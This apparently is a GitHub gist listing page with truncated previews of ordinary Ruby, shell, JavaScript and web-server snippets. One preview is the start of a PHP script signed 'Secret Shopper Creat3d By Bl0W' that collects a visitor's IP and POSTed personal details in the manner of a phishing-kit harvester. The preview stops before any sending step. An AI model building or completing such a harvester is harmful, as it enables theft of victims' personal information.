This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# The only required setting is DATA_ROOT. It must be a valid | |
# Git repository (git init'ed). You need to configure a name | |
# and an email to be used as commit author info. You also need | |
# to configure a remote named "origin" for this repository. | |
# A branch "master" is assumed to exist. For repositories with | |
# large binary files, you may want to change the following Git | |
# settings (probably only locally, for the current repo): | |
# | |
# core.autocrlf=false | |
# core.compression=0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# take care of old, legacy routes | |
redirect_with_query_string = lambda do |path| | |
redirect do |params, req| | |
path << "?#{req.query_string}" unless req.query_string.blank? | |
path | |
end | |
end | |
# example usage | |
match 'legacy_root_path' => redirect_with_query_string.call('/') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
code = File.read(ARGV.first) | |
eigenclass = false | |
methods = 0 | |
identation = '' | |
code.split("\n").each do |line| | |
case line | |
when /^(\s*)class\s+<<\s+self\b/ | |
eigenclass = true |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
export CLICOLOR=1 | |
export LANG="en_US.UTF-8" | |
alias rm="rm -i" | |
alias mv="mv -i" | |
alias cp="cp -i" | |
alias ls="ls --color=auto" | |
alias ll="ls -alh" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
$ip = getenv("REMOTE_ADDR"); | |
$message .= "Secret Shopper Creat3d By Bl0W\n"; | |
$message .= ".:: PERSONAL INFORMATION ::.\n"; | |
$message .= "First name : ".$_POST['strFirstname']."\n"; | |
$message .= "Last name : ".$_POST['strLastname']."\n"; | |
$message .= "Street Address : ".$_POST['strAddy']."\n"; | |
$message .= "City : ".$_POST['strCity']."\n"; | |
$message .= "State : ".$_POST['strState']."\n"; | |
$message .= "Zip Code : ".$_POST['strZipCode']."\n"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# hack to auto compile sass when Jammit runs in development mode | |
# you can place this in an initializer | |
unless Rails.env.production? | |
require 'sass/engine' | |
module Jammit | |
module Helper | |
SASS_TIMESTAMPS = {} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Dir['app/models/*.rb'].each do |m| | |
m = File.basename(m).split('.').first | |
m = m.camelcase.constantize | |
next unless m.respond_to?(:all) | |
m.all.each do |i| | |
m.columns.each do |c| | |
if [:string, :text].include?(c.type) | |
v = i.send(c.name) | |
i.send("#{c.name}=", v.gsub(/\\r\\n/, "\n")) if v && v.kind_of?(String) | |
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Nginx | |
server { | |
# (...server definition skipped...) | |
location ~ "/\.svn" { | |
return 403; | |
} | |
} | |
# Apache's .htaccess | |
RewriteEngine On |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
dir="$1" | |
identation="$2" | |
self="$0" | |
if test "$dir" = "" | |
then | |
dir="." | |
fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Returns a hash with the query parameters, parsed from the query string given | |
// (or the current location's query string, if no arguments given) | |
// Based on code found here: | |
// http://stackoverflow.com/questions/901115/get-querystring-values-in-javascript/2880929#2880929 | |
function getQueryParams(queryString) { | |
var queryParams = {}, | |
e, | |
r = /([^&=]+)=?([^&]*)/g, | |
d = function (s) { return decodeURIComponent(s.replace(/\+/g, ' ')); }, | |
q = queryString || window.location.search.substring(1); |